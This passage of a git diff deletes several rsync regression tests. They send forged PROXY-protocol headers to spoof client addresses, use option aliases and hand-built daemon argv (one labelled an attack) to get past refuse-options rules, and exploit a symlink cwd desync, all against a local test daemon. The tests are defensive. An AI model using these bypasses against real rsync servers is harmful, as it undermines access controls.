via\n-# %RSYNC_MODULE_NAME% (set for every connection, no auth needed).  If that\n-# expands quoted, the daemon chdir's to <root>/'served' (literal quotes), which\n-# does not exist -> the pull fails.\n-root = base / 'root'\n-served = root / 'served'        # module is named \"served\"\n-served.mkdir(parents=True)\n-(served / 'hello.txt').write_text('EXPANDED\\n')\n-\n-conf = write_daemon_conf([\n-    ('served', {'path': f'{root}/%RSYNC_MODULE_NAME%',\n-                'use chroot': 'no', 'read only': 'yes'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT).rstrip('/')\n-\n-dest = base / 'dest'\n-dest.mkdir(parents=True)\n-proc = subprocess.run(\n-    rsync_argv('-a', f'{url}/served/hello.txt', str(dest) + '/'),\n-    capture_output=True, text=True)\n-\n-got = dest / 'hello.txt'\n-if proc.returncode != 0 or not got.is_file():\n-    test_fail(\"%RSYNC_MODULE_NAME% in `path` did not expand to the raw value \"\n-              \"(the daemon could not chdir -- the path was shell-quoted); \"\n-              f\"rc={proc.returncode}\\nstderr: {proc.stderr.strip()}\")\n-if got.read_text() != 'EXPANDED\\n':\n-    test_fail(f\"unexpected content from the expanded-path module: {got.read_text()!r}\")\n-\n-print(\"daemon-path-rsync-var: %RSYNC_*% in a string param expands unquoted\")\ndiff --git a/testsuite/daemon-proxy-protocol_test.py b/testsuite/daemon-proxy-protocol_test.py\ndeleted file mode 100644\nindex 450538d..0000000\n--- a/testsuite/daemon-proxy-protocol_test.py\n+++ /dev/null\n@@ -1,239 +0,0 @@\n-#!/usr/bin/env python3\n-# Exercise the daemon's HAProxy PROXY-protocol parser (clientname.c\n-# read_proxy_protocol_header), the trusted-peer gate\n-# (clientserver.c proxy_peer_allowed -> access.c allow_proxy_protocol_peer),\n-# and that the proxied source address is what hosts-allow checks against.\n-#\n-# Needs a real TCP socket: read_proxy_protocol_header() runs only when\n-# lp_proxy_protocol() is set, and it reads from the socket BEFORE the\n-# @RSYNCD greeting -- there is no pipe-transport equivalent.\n-\n-import socket\n-import struct\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, makepath, require_tcp, start_rsyncd, test_fail,\n-    write_daemon_conf,\n-)\n-\n-PORT_OK = 19873          # proxy protocol hosts = 127.0.0.0/8 (we match)\n-PORT_NOHOSTS = 19874     # proxy protocol = yes but NO proxy protocol hosts\n-\n-require_tcp(\"PROXY-protocol header is read from a real TCP socket; run with --use-tcp\")\n-claim_ports(PORT_OK, PORT_NOHOSTS)\n-\n-base = SCRATCHDIR / 'proxy-protocol'\n-makepath(base / 'mod')\n-\n-\n-# Daemon 1: trusted proxy at 127.0.0.0/8.  Module only allows the *proxied*\n-# 10.0.0.0/8 (and an IPv6 ULA), so a successful module-list proves the daemon\n-# is checking the proxied addr, not the socket peer (127.0.0.1).\n-conf_ok = write_daemon_conf(\n-    [('mod', {\n-        'path': str(base / 'mod'),\n-        'read only': 'yes',\n-        'use chroot': 'no',\n-        'hosts allow': '10.0.0.0/8, fd00::/8',\n-    })],\n-    globals={\n-        'proxy protocol': 'yes',\n-        'proxy protocol hosts': '127.0.0.0/8',\n-        # The proxied addrs are not in DNS -- skip name lookup so the test\n-        # does not block on a slow reverse-DNS timeout.\n-        'reverse lookup': 'no',\n-        # Override the write_daemon_conf default (localhost 127/8) -- with the\n-        # proxy header in play we want hosts-allow to be per-module only.\n-        'hosts allow': '',\n-    },\n-    name='proxyproto.conf',\n-)\n-start_rsyncd(conf_ok, PORT_OK)\n-\n-# Daemon 2: proxy protocol = yes but NO `proxy protocol hosts` -> every peer\n-# is untrusted (allow_proxy_protocol_peer returns 0 on empty list), the\n-# connection is dropped before the header is even read.\n-conf_nohosts = write_daemon_conf(\n-    [('mod', {'path': str(base / 'mod'), 'read only': 'yes', 'use chroot': 'no'})],\n-    globals={\n-        'proxy protocol': 'yes',\n-        'reverse lookup': 'no',\n-        'hosts allow': '',\n-        # Second daemon in one test -> distinct pid/log so we don't collide\n-        # with daemon 1's lock.\n-        'pid file': str(SCRATCHDIR / 'rsyncd-nohosts.pid'),\n-        'log file': str(SCRATCHDIR / 'rsyncd-nohosts.log'),\n-    },\n-    name='proxyproto-nohosts.conf',\n-)\n-start_rsyncd(conf_nohosts, PORT_NOHOSTS)\n-\n-\n-# --- PROXY header encoders (mirror clientname.c constants) ------------------\n-\n-V2_SIG = b'\\r\\n\\r\\n\\x00\\r\\nQUIT\\n'    # 12 bytes\n-CMD_LOCAL, CMD_PROXY = 0, 1\n-FAM_TCPv4, FAM_TCPv6 = 0x11, 0x21\n-\n-\n-def v1(line):\n-    return (b'PROXY ' + line.encode('ascii') + b'\\r\\n')\n-\n-\n-def v2(cmd, fam, addr):\n-    return (V2_SIG\n-            + bytes([(2 << 4) | cmd, fam])\n-            + struct.pack('>H', len(addr))\n-            + addr)\n-\n-\n-def v2_ip4(src, dst='127.0.0.1', sport=40000, dport=PORT_OK):\n-    a = (socket.inet_pton(socket.AF_INET, src)\n-         + socket.inet_pton(socket.AF_INET, dst)\n-         + struct.pack('>HH', sport, dport))\n-    return v2(CMD_PROXY, FAM_TCPv4, a)\n-\n-\n-def v2_ip6(src, dst='::1', sport=40000, dport=PORT_OK):\n-    a = (socket.inet_pton(socket.AF_INET6, src)\n-         + socket.inet_pton(socket.AF_INET6, dst)\n-         + struct.pack('>HH', sport, dport))\n-    return v2(CMD_PROXY, FAM_TCPv6, a)\n-\n-\n-# --- driver: send proxy header then a minimal @RSYNCD module-list -----------\n-\n-def probe(port, hdr, label, *, want):\n-    \"\"\"Connect, send `hdr`, then attempt an @RSYNCD module-list of [mod].\n-\n-    `want` is one of:\n-        'ok'     -- daemon answers @RSYNCD: OK (proxied IP passed hosts-allow)\n-        'denied' -- daemon answers @ERROR: access denied (proxied IP rejected\n-                    by per-module hosts-allow)\n-        'drop'   -- daemon closes the socket without an @RSYNCD greeting\n-                    (proxy header rejected or untrusted peer)\n-    \"\"\"\n-    s = socket.create_connection(('127.0.0.1', port), timeout=10)\n-    s.settimeout(10)\n-    out = b''\n-    try:\n-        if hdr:\n-            s.sendall(hdr)\n-        # @RSYNCD client greeting + module name + a single sender-side\n-        # list-only request.  Protocol 30, no capabilities, no auth.\n-        s.sendall(b'@RSYNCD: 30.0\\nmod\\n')\n-        # Slurp everything the daemon writes before it closes.\n-        try:\n-            s.shutdown(socket.SHUT_WR)\n-        except OSError:\n-            pass\n-        while True:\n-            try:\n-                chunk = s.recv(4096)\n-            except OSError:\n-                break\n-            if not chunk:\n-                break\n-            out += chunk\n-    except OSError:\n-        # A 'drop' daemon closes the connection, which can surface as\n-        # EPIPE/ECONNRESET on our sendall() before we ever read -- a timing\n-        # race seen on some CI runners.  Leave `out` empty and let the\n-        # want-check below decide: for want='drop' the absent greeting is the\n-        # expected outcome; for want='ok'/'denied' it still fails correctly.\n-        pass\n-    finally:\n-        s.close()\n-\n-    got_greeting = out.startswith(b'@RSYNCD:')\n-    if want == 'drop':\n-        if got_greeting:\n-            test_fail(f\"{label}: expected drop, got greeting: {out!r}\")\n-        return\n-    if not got_greeting:\n-        test_fail(f\"{label}: expected @RSYNCD greeting, got: {out!r}\")\n-    if want == 'denied':\n-        if b'@ERROR' not in out or b'access denied' not in out:\n-            test_fail(f\"{label}: expected access-denied, got: {out!r}\")\n-        return\n-    if want == 'ok':\n-        # After greeting + module name the daemon answers @RSYNCD: OK then\n-        # waits for client args -- but we sent SHUT_WR so it sees EOF on the\n-        # args read and closes.  Seeing OK (not @ERROR) is the success signal.\n-        if b'@ERROR' in out:\n-            test_fail(f\"{label}: expected OK, got error: {out!r}\")\n-        if b'@RSYNCD: OK' not in out:\n-            test_fail(f\"{label}: expected @RSYNCD: OK, got: {out!r}\")\n-        return\n-    test_fail(f\"{label}: bad want={want!r}\")\n-\n-\n-# === V1 text header =========================================================\n-\n-# Proxied src in 10.0.0.0/8 -> module hosts-allow matches.\n-probe(PORT_OK, v1('TCP4 10.1.2.3 127.0.0.1 40000 873'), 'v1 TCP4 allow', want='ok')\n-\n-# Proxied src outside 10.0.0.0/8 -> module hosts-allow rejects (proves the\n-# daemon checked the *proxied* addr, not the socket peer 127.0.0.1).\n-probe(PORT_OK, v1('TCP4 192.168.1.1 127.0.0.1 40000 873'), 'v1 TCP4 deny', want='denied')\n-\n-# IPv6 source in fd00::/8 -> matches the ULA hosts-allow entry.\n-probe(PORT_OK, v1('TCP6 fd00::1234 ::1 40000 873'), 'v1 TCP6 allow', want='ok')\n-\n-# UNKNOWN -> parser returns 1 with ipaddr_buf unset, so the daemon falls back\n-# to the socket peer (127.0.0.1), which is NOT in 10.0.0.0/8 -> denied.\n-probe(PORT_OK, v1('UNKNOWN'), 'v1 UNKNOWN', want='denied')\n-\n-# Malformed v1: missing dst -> parser returns 0 -> drop.\n-probe(PORT_OK, v1('TCP4 10.1.2.3'), 'v1 short', want='drop')\n-\n-# Malformed v1: bad family token.\n-probe(PORT_OK, v1('TCP9 10.1.2.3 127.0.0.1 40000 873'), 'v1 bad-fam', want='drop')\n-\n-# Malformed v1: non-numeric port.\n-probe(PORT_OK, v1('TCP4 10.1.2.3 127.0.0.1 abc 873'), 'v1 bad-port', want='drop')\n-\n-# Malformed v1: line longer than the 108-byte buffer with no \\n -> drop.\n-probe(PORT_OK, b'PROXY TCP4 ' + b'1' * 200, 'v1 overlong', want='drop')\n-\n-# Neither v2 sig nor \"PROXY\" prefix -> drop.\n-probe(PORT_OK, b'GET / HTTP/1.0\\r\\n\\r\\n', 'no proxy hdr', want='drop')\n-\n-\n-# === V2 binary header =======================================================\n-\n-probe(PORT_OK, v2_ip4('10.9.8.7'), 'v2 TCPv4 allow', want='ok')\n-probe(PORT_OK, v2_ip4('172.16.0.1'), 'v2 TCPv4 deny', want='denied')\n-probe(PORT_OK, v2_ip6('fd00::abcd'), 'v2 TCPv6 allow', want='ok')\n-\n-# CMD_LOCAL: parser returns 1, ipaddr_buf unset -> socket peer 127.0.0.1\n-# checked against hosts-allow -> denied.\n-probe(PORT_OK, v2(CMD_LOCAL, 0, b''), 'v2 LOCAL', want='denied')\n-\n-# Unsupported family with CMD_PROXY -> \"ignore proxy data, accept\" branch.\n-probe(PORT_OK, v2(CMD_PROXY, 0x31, b'\\0' * 4), 'v2 unsupp-fam', want='denied')\n-\n-# Bad version nibble -> drop.\n-probe(PORT_OK, V2_SIG + bytes([(3 << 4) | CMD_PROXY, FAM_TCPv4]) + b'\\x00\\x0c'\n-      + b'\\0' * 12, 'v2 bad-ver', want='drop')\n-\n-# Declared size larger than the union -> drop.\n-probe(PORT_OK, V2_SIG + bytes([(2 << 4) | CMD_PROXY, FAM_TCPv4]) + b'\\x10\\x00'\n-      + b'\\0' * 12, 'v2 oversize', want='drop')\n-\n-# TCPv4 with size != 12 -> drop.\n-probe(PORT_OK, v2(CMD_PROXY, FAM_TCPv4, b'\\0' * 8), 'v2 ip4 bad-len', want='drop')\n-\n-# Unknown cmd -> drop.\n-probe(PORT_OK, v2(7, FAM_TCPv4, b'\\0' * 12), 'v2 bad-cmd', want='drop')\n-\n-\n-# === Untrusted-peer gate (no `proxy protocol hosts`) ========================\n-\n-# allow_proxy_protocol_peer() returns 0 on an empty/NULL list; the daemon\n-# drops the connection BEFORE reading any proxy header.\n-probe(PORT_NOHOSTS, v2_ip4('10.1.2.3'), 'untrusted v2', want='drop')\n-probe(PORT_NOHOSTS, v1('TCP4 10.1.2.3 127.0.0.1 40000 873'), 'untrusted v1', want='drop')\n-probe(PORT_NOHOSTS, b'', 'untrusted empty', want='drop')\n-\n-print(\"PASS daemon-proxy-protocol: 22 cases\")\ndiff --git a/testsuite/daemon-refuse-compress-threads-alias_test.py b/testsuite/daemon-refuse-compress-threads-alias_test.py\ndeleted file mode 100644\nindex 250a461..0000000\n--- a/testsuite/daemon-refuse-compress-threads-alias_test.py\n+++ /dev/null\n@@ -1,163 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"``refuse options = compress-threads`` must also refuse its ``--zt`` alias.\n-\n-set_refuse_options() stopped after the first exact long-option match, so the\n-canonical compress-threads entry was disabled but its later zt alias stayed\n-accepted.  Both halves here build the daemon argv by hand -- a stock client\n-does not forward this option at all unless asked to with -M, and the raw\n-protocol is what preserves the exact spelling under test.\n-\n-The oracle is the refusal itself: the alias connection must be torn down and\n-the daemon must log \"configured to refuse --zt\".  It is deliberately NOT the\n-worker count.  An accepted --zt that happens to produce few threads is still a\n-defeated refuse rule, and several unrelated things bound that count -- a\n-separate daemon worker cap (see the Zstandard thread-cap change), a libzstd\n-built without multithreading, or a process/thread limit -- so a count-based\n-assertion goes green while the rule is bypassed.  The count is still measured,\n-but only to say how much capability the bypass delivered.\n-\"\"\"\n-\n-import json\n-import os\n-import re\n-import subprocess\n-import sys\n-import time\n-\n-from rsyncfns import (\n-    SCRATCHDIR, claim_ports, require_tcp, rmtree, run_rsync,\n-    start_rsyncd, test_fail, test_skipped,\n-)\n-import rsync_proto as rp\n-\n-PORT = 13121\n-REQUESTED_THREADS = 256\n-MAX_SAFE_THREADS = 64\n-\n-require_tcp(\"the malicious receiver needs a real TCP daemon; run with --use-tcp\")\n-claim_ports(PORT)\n-\n-version = json.loads(run_rsync('-VV', check=True, capture_output=True).stdout)\n-if 'zstd' not in version.get('compress_list', []):\n-    test_skipped('this build does not include Zstandard')\n-\n-base = SCRATCHDIR / 'daemon-refuse-compress-threads-alias'\n-rmtree(base)\n-mod = base / 'module'\n-mod.mkdir(parents=True)\n-(mod / 'f').write_bytes(os.urandom(2 * 1024 * 1024))\n-\n-log = base / 'rsyncd.log'\n-conf = base / 'rsyncd.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {base}/rsyncd.pid\n-log file = {log}\n-use chroot = no\n-\n-[mod]\n-    path = {mod}\n-    refuse options = compress-threads\n-\"\"\")\n-start_rsyncd(conf, PORT)\n-\n-\n-def refusal_logged(spelling):\n-    needle = f'configured to refuse --{spelling}'\n-    for _ in range(100):\n-        if log.exists() and needle in log.read_text(errors='replace'):\n-            return True\n-        time.sleep(0.02)\n-    return False\n-\n-\n-# Control: preserve the canonical spelling in a hand-built daemon argv and\n-# verify that the configured rule rejects it before any file list is served.\n-control = rp.DaemonClient('127.0.0.1', PORT)\n-control_rejected = False\n-try:\n-    control.handshake(\n-        'mod',\n-        [\n-            '--server', '--sender', '-e.LsfxCIu', '--compress',\n-            '--compress-choice=zstd', '--compress-threads=2', '.', 'mod/f',\n-        ],\n-        greeting_version=30,\n-    )\n-    control.recv_flist(preserve_links=False)\n-except (rp.ProtocolError, OSError):\n-    control_rejected = True\n-finally:\n-    control.close()\n-if not control_rejected or not refusal_logged('compress-threads'):\n-    test_fail('canonical --compress-threads unexpectedly bypassed its refuse rule')\n-\n-# Attack: preserve the accepted alias spelling in a hand-built daemon argv.\n-c = rp.DaemonClient('127.0.0.1', PORT)\n-try:\n-    c.handshake(\n-        'mod',\n-        [\n-            '--server', '--sender', '-e.LsfxCIu', '--compress',\n-            '--compress-choice=zstd', f'--zt={REQUESTED_THREADS}', '.', 'mod/f',\n-        ],\n-        greeting_version=30,\n-    )\n-    entries = rp.sort_entries(c.recv_flist(preserve_links=False))\n-except (rp.ProtocolError, OSError):\n-    c.close()\n-    if not refusal_logged('zt'):\n-        test_fail('the alias connection ended, but the daemon never logged a '\n-                  '--zt refusal, so it was not the refuse rule that stopped it')\n-    print('daemon refuse rule rejected both --compress-threads and --zt')\n-    sys.exit(0)\n-\n-# Reaching here means the daemon served a file list for --zt: the refuse rule\n-# did not fire and the capability was delivered.  That is the bug, whatever\n-# the worker count turns out to be.  Measure it anyway, to report what the\n-# bypass was worth.\n-ndx = next(i for i, entry in enumerate(entries) if entry.name == b'f')\n-c.send_data(c.make_request(ndx) + c.w_ndx(rp.NDX_DONE))\n-\n-child_pid = None\n-for _ in range(100):\n-    matches = re.findall(r'\\[(\\d+)\\] rsync on mod/f',\n-                         log.read_text(errors='replace') if log.exists() else '')\n-    if matches:\n-        child_pid = int(matches[-1])\n-        break\n-    time.sleep(0.02)\n-if child_pid is None:\n-    c.close()\n-    test_fail('could not identify the per-connection daemon sender')\n-\n-\n-def thread_count(pid):\n-    if sys.platform == 'darwin':\n-        proc = subprocess.run(['ps', '-M', str(pid)], capture_output=True,\n-                              text=True)\n-        return max(0, len(proc.stdout.splitlines()) - 1)\n-    if sys.platform.startswith('linux'):\n-        try:\n-            status = open(f'/proc/{pid}/status').read()\n-        except OSError:\n-            return 0\n-        match = re.search(r'^Threads:\\s+(\\d+)', status, re.M)\n-        return int(match.group(1)) if match else 0\n-    return -1\n-\n-\n-observed = 0\n-for _ in range(100):\n-    observed = max(observed, thread_count(child_pid))\n-    if observed >= REQUESTED_THREADS:\n-        break\n-    time.sleep(0.02)\n-c.close()\n-\n-how_many = (f'and it created {observed} worker threads'\n-            if observed > 0 else\n-            'though its thread count could not be read here')\n-test_fail(f'canonical --compress-threads was refused but its --zt alias was '\n-          f'accepted: the daemon served the file list {how_many}.  A refuse '\n-          f'rule naming one spelling of an option must cover every spelling '\n-          f'of it')\ndiff --git a/testsuite/daemon-refuse-compress_test.py b/testsuite/daemon-refuse-compress_test.py\ndeleted file mode 100644\nindex 83af172..0000000\n--- a/testsuite/daemon-refuse-compress_test.py\n+++ /dev/null\n@@ -1,52 +0,0 @@\n-#!/usr/bin/env python3\n-# Python rewrite of testsuite/daemon-refuse-compress.test.\n-#\n-# A daemon module configured with \"refuse options = compress\" must\n-# reject clients that ask for compression, and still serve the same\n-# transfer when the client does not.\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    CHKDIR, FROMDIR, SCRATCHDIR, TODIR,\n-    build_rsyncd_conf, checkit, hands_setup, rmtree,\n-    rsync_argv, run_rsync, start_test_daemon, test_fail,\n-)\n-\n-\n-DAEMON_PORT = 12876\n-\n-conf = build_rsyncd_conf()\n-# Append an extra module that refuses --compress (-z).\n-with open(conf, 'a') as f:\n-    f.write(f\"\"\"\n-[no-compress]\n-\\tpath = {FROMDIR}\n-\\tread only = yes\n-\\trefuse options = compress\n-\"\"\")\n-\n-hands_setup()\n-run_rsync('-av', '--exclude=foobar.baz', f'{FROMDIR}/', f'{CHKDIR}/')\n-\n-url = start_test_daemon(conf, DAEMON_PORT) + 'no-compress/'\n-\n-# A compressed transfer must be refused.\n-errlog = SCRATCHDIR / 'refuse.err'\n-proc = subprocess.run(\n-    rsync_argv('-avz', url, f'{TODIR}/'),\n-    stdout=subprocess.DEVNULL, stderr=subprocess.PIPE, text=True,\n-)\n-errlog.write_text(proc.stderr)\n-if proc.returncode == 0:\n-    print(proc.stderr)\n-    test_fail(\"compressed transfer was not refused\")\n-if '--compress' not in proc.stderr:\n-    print(proc.stderr)\n-    test_fail(\"expected refuse error mentioning --compress\")\n-\n-# The same transfer without -z must succeed.\n-rmtree(TODIR)\n-TODIR.mkdir()\n-checkit(['-av', url, f'{TODIR}/'], CHKDIR, TODIR,\n-        allowed_codes=(0, 23))\ndiff --git a/testsuite/daemon-refuse-delete-alias_test.py b/testsuite/daemon-refuse-delete-alias_test.py\ndeleted file mode 100644\nindex 3b7f92c..0000000\n--- a/testsuite/daemon-refuse-delete-alias_test.py\n+++ /dev/null\n@@ -1,109 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"A refuse rule naming one spelling of an option must cover the others.\n-\n---del and --delete-during are the same capability written two ways, but the\n-popt table spells them differently: --del is POPT_ARG_NONE with a destination\n-(popt stores 1), --delete-during is POPT_ARG_VAL storing 1.  A refuse rule\n-matched on the raw table fields therefore disabled only the spelling the\n-administrator happened to write, and the other one still worked.\n-\n-Both directions are checked, because the mismatch is symmetric: a rule naming\n-the canonical option was evaded by the short alias, and a rule naming the\n-alias was evaded by the canonical option.\n-\n-No raw protocol here, and no custom client: --remote-option (-M) puts the\n-option in the daemon's argv verbatim, which is exactly the reach an ordinary\n-user has.\n-\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    SCRATCHDIR, makepath, rmtree, rsync_argv, start_test_daemon, test_fail,\n-    write_daemon_conf,\n-)\n-\n-PORT = 12951\n-\n-base = SCRATCHDIR / 'daemon-refuse-delete-alias'\n-rmtree(base)\n-src = base / 'src'\n-makepath(src)\n-(src / 'keep').write_text('KEEP\\n')\n-\n-# Two modules, each refusing one spelling of the same capability.\n-mods = {}\n-for name, rule in (('refuses_canonical', 'delete-during'), ('refuses_alias', 'del')):\n-    d = base / name\n-    makepath(d)\n-    mods[name] = d\n-\n-conf = write_daemon_conf([\n-    ('refuses_canonical', {'path': str(mods['refuses_canonical']), 'read only': 'no',\n-                           'use chroot': 'no', 'refuse options': 'delete-during'}),\n-    ('refuses_alias', {'path': str(mods['refuses_alias']), 'read only': 'no',\n-                       'use chroot': 'no', 'refuse options': 'del'}),\n-    # No rule at all: proves the pushes themselves work, so a refusal below\n-    # is the rule firing rather than the transfer being broken.\n-    ('open', {'path': str(base / 'open'), 'read only': 'no', 'use chroot': 'no'}),\n-], name='refuse-delete-alias.conf')\n-makepath(base / 'open')\n-url = start_test_daemon(conf, PORT)\n-\n-\n-def push(module, *opts):\n-    return subprocess.run(\n-        rsync_argv('-r', *opts, f'{src}/', f'{url}{module}/'),\n-        stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, timeout=120)\n-\n-\n-def refused(proc, spelling):\n-    \"\"\"Did the daemon refuse this exact spelling?\n-\n-    Requiring the option name, not just the word \"refuse\", keeps an unrelated\n-    refusal from standing in for the one under test -- and it doubles as proof\n-    that -M actually delivered the option to the daemon, which the control\n-    below cannot show on its own: a silently discarded -M would let the\n-    transfer succeed just the same.\"\"\"\n-    return (proc.returncode != 0\n-            and f'configured to refuse --{spelling}' in proc.stdout)\n-\n-\n-# Control: both spellings transfer where nothing refuses them, so a refusal\n-# below is the rule firing rather than the push being broken.  That -M reached\n-# the daemon at all is established by the spelling-specific refusals, not here:\n-# a silently dropped -M would pass this control too.\n-for opt in ('-M--del', '-M--delete-during'):\n-    proc = push('open', '--delete', opt)\n-    if proc.returncode != 0 or not (base / 'open' / 'keep').is_file():\n-        test_fail(f'control failed: {opt} could not push to a module with no '\n-                  f'refuse rule (rc={proc.returncode}, '\n-                  f'output={proc.stdout.strip()[:300]!r})')\n-\n-# The reported direction: the rule names the canonical option, the client\n-# sends the alias.\n-proc = push('refuses_canonical', '--delete', '-M--del')\n-if not refused(proc, 'del'):\n-    test_fail('\"refuse options = delete-during\" did not refuse --del, which '\n-              'sets the very same delete_during: the rule names a capability, '\n-              f'not one spelling of it (rc={proc.returncode}, '\n-              f'output={proc.stdout.strip()[:300]!r})')\n-\n-# ...and the mirror, since the table shapes differ in both directions.\n-proc = push('refuses_alias', '--delete', '-M--delete-during')\n-if not refused(proc, 'delete-during'):\n-    test_fail('\"refuse options = del\" did not refuse --delete-during '\n-              f'(rc={proc.returncode}, output={proc.stdout.strip()[:300]!r})')\n-\n-# And each rule still refuses the spelling it actually names.\n-proc = push('refuses_canonical', '--delete', '-M--delete-during')\n-if not refused(proc, 'delete-during'):\n-    test_fail('\"refuse options = delete-during\" did not even refuse '\n-              f'--delete-during (rc={proc.returncode}, '\n-              f'output={proc.stdout.strip()[:300]!r})')\n-proc = push('refuses_alias', '--delete', '-M--del')\n-if not refused(proc, 'del'):\n-    test_fail(f'\"refuse options = del\" did not even refuse --del '\n-              f'(rc={proc.returncode}, output={proc.stdout.strip()[:300]!r})')\n-\n-print('a refuse rule for one spelling of --delete-during covers --del too')\ndiff --git a/testsuite/daemon-refuse_test.py b/testsuite/daemon-refuse_test.py\ndeleted file mode 100644\nindex 054f280..0000000\n--- a/testsuite/daemon-refuse_test.py\n+++ /dev/null\n@@ -1,79 +0,0 @@\n-#!/usr/bin/env python3\n-\"\"\"Daemon coverage: refuse options (a named option, a wildcard, and the\n-allow-list negation form).\n-\n-daemon-refuse-compress_test.py covers the basic case; this widens it to a\n-different named option, a wildcard pattern, and the \"* !a !v\" allow-list idiom\n-documented in rsyncd.conf.5.\n-\"\"\"\n-\n-import subprocess\n-\n-from rsyncfns import (\n-    FROMDIR, SCRATCHDIR,\n-    make_tree, makepath, rmtree, rsync_argv, run_rsync, start_test_daemon,\n-    test_fail, verify_dirs, write_daemon_conf,\n-)\n-\n-DAEMON_PORT = 12891\n-\n-src = FROMDIR\n-rmtree(src)\n-make_tree(src, depth=3)\n-\n-deldir = SCRATCHDIR / 'deldest'\n-makepath(deldir)\n-\n-conf = write_daemon_conf([\n-    ('refuse-delete', {'path': deldir, 'read only': 'no',\n-                       'refuse options': 'delete'}),\n-    ('refuse-wild',   {'path': src, 'read only': 'yes',\n-                       'refuse options': 'checksum*'}),\n-    ('only-av',       {'path': src, 'read only': 'yes',\n-                       'refuse options': '* !a !v'}),\n-])\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-\n-def refused(args, what):\n-    proc = subprocess.run(rsync_argv(*args),\n-                          stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,\n-                          text=True)\n-    if proc.returncode == 0:\n-        test_fail(f\"{what} was not refused\")\n-    return proc.stderr\n-\n-\n-def allowed(args, what, expected=None, actual=None):\n-    proc = subprocess.run(rsync_argv(*args),\n-                          stdout=subprocess.DEVNULL, stderr=subprocess.PIPE,\n-                          text=True)\n-    if proc.returncode not in (0, 23):\n-        test_fail(f\"{what} was unexpectedly refused: {proc.stderr}\")\n-    # A 0/23 exit alone doesn't prove the transfer happened; verify the data\n-    # actually landed for the allowed cases.\n-    if expected is not None:\n-        verify_dirs(expected, actual, label=what)\n-\n-\n-# --- a named refused option (delete) ----------------------------------------\n-refused(['-a', '--delete', f'{src}/', f'{url}refuse-delete/'],\n-        \"--delete on a refuse=delete module\")\n-allowed(['-a', f'{src}/', f'{url}refuse-delete/'],\n-        \"plain push to a refuse=delete module\", src, deldir)\n-\n-# --- a wildcard refused option (checksum*) ----------------------------------\n-dest = SCRATCHDIR / 'wilddest'\n-makepath(dest)\n-refused(['-a', '--checksum', f'{url}refuse-wild/', f'{dest}/'],\n-        \"--checksum on a refuse=checksum* module\")\n-\n-# --- the \"* !a !v\" allow-list: -av allowed, -z refused ----------------------\n-rmtree(dest)\n-makepath(dest)\n-allowed(['-av', f'{url}only-av/', f'{dest}/'], \"-av on an allow-list module\",\n-        src, dest)\n-refused(['-avz', f'{url}only-av/', f'{dest}/'],\n-        \"-z on an allow-list module\")\n-\n-print(\"daemon-refuse: named / wildcard / allow-list refuse options verified\")\ndiff --git a/testsuite/daemon-scan-cwd-desync_test.py b/testsuite/daemon-scan-cwd-desync_test.py\ndeleted file mode 100644\nindex adc15c4..0000000\n--- a/testsuite/daemon-scan-cwd-desync_test.py\n+++ /dev/null\n@@ -1,76 +0,0 @@\n-#!/usr/bin/env python3\n-# A daemon directory scan must anchor confinement at the module root by IDENTITY,\n-# not by climbing \"..\" up from the cwd by the lexical curr_dir depth.\n-#\n-# rsync tracks the path it descended (curr_dir) lexically, but the daemon's\n-# change_dir follows in-tree directory symlinks.  So when the requested path is an\n-# in-module directory symlink whose target nets SHALLOWER -- e.g. x/jump -> ../y,\n-# which from module/x lands at module/y -- the real kernel cwd ends up at module/y\n-# (depth 1) while curr_dir records module/x/jump (depth 2).  A confinement that\n-# reaches the module root by climbing \"..\" up by the lexical depth then climbs too\n-# far (to module/y's grandparent, ABOVE the module) and resolves the scan there:\n-# in-module content goes missing, and were a matching path to exist above the\n-# module it could be enumerated out of the module.  Anchoring at a module-root fd\n-# pinned by identity resolves the same logical path correctly and stays confined.\n-#\n-# Layout (module path = area/mod):\n-#   mod/y/real.txt          (the in-module content that must be served)\n-#   mod/x/jump -> ../y       (in-module symlink: mod/x/jump resolves to mod/y)\n-# Pull mod/x/jump/ with --copy-dirlinks: the daemon change_dir's through jump,\n-# desyncing curr_dir (mod/x/jump) from the real cwd (mod/y).  A correct, identity-\n-# anchored scan serves mod/y/real.txt; the buggy lexical climb mis-anchors above\n-# the module and the file goes missing.\n-#\n-# Deterministic (static symlinks).  Requires root for the daemon uid/gid lines;\n-# runs unprivileged too.\n-\n-import os\n-\n-from rsyncfns import (\n-    SCRATCHDIR, get_rootgid, get_rootuid, get_testuid, makepath, rmtree,\n-    run_rsync, start_test_daemon, test_fail,\n-)\n-\n-DAEMON_PORT = 12950\n-CONTENT = \"served-through-a-cwd-desyncing-symlink\\n\"\n-\n-base = SCRATCHDIR / 'scan-desync'\n-rmtree(base)\n-area = base / 'area'\n-mod = area / 'mod'\n-dest = base / 'dest'\n-makepath(mod / 'y', mod / 'x', dest)\n-(mod / 'y' / 'real.txt').write_text(CONTENT)\n-# In-module symlink whose target nets shallower: mod/x/jump -> ../y == mod/y.\n-os.symlink('../y', mod / 'x' / 'jump')\n-\n-root = get_testuid() == get_rootuid()\n-ids = f\"uid = {get_rootuid()}\\ngid = {get_rootgid()}\" if root else \"\"\n-\n-conf = base / 'd.conf'\n-conf.write_text(f\"\"\"\\\n-pid file = {base}/rsyncd.pid\n-use chroot = no\n-{ids}\n-log file = {base}/rsyncd.log\n-\n-[m]\n-    path = {mod}\n-    read only = yes\n-    hosts allow = 127.0.0.1\n-\"\"\")\n-url = start_test_daemon(conf, DAEMON_PORT)\n-\n-# Pull the in-module net-shallower symlinked path; the daemon descends through it.\n-run_rsync('-a', '--copy-dirlinks', f'{url}m/x/jump/', f'{dest}/', check=False)\n-\n-got = dest / 'real.txt'\n-if not got.is_file() or got.read_text() != CONTENT:\n-    test_fail(\n-        \"daemon scan failed to serve in-module content reached through a \"\n-        \"cwd-desyncing in-module symlink (mod/x/jump -> ../y): dest/real.txt \"\n-        \"missing/wrong.  The scan must anchor at the module root by identity \"\n-        \"(module_dirfd), not by climbing the lexical curr_dir depth -- the latter \"\n-        \"over-climbs above the module when an in-module symlink nets 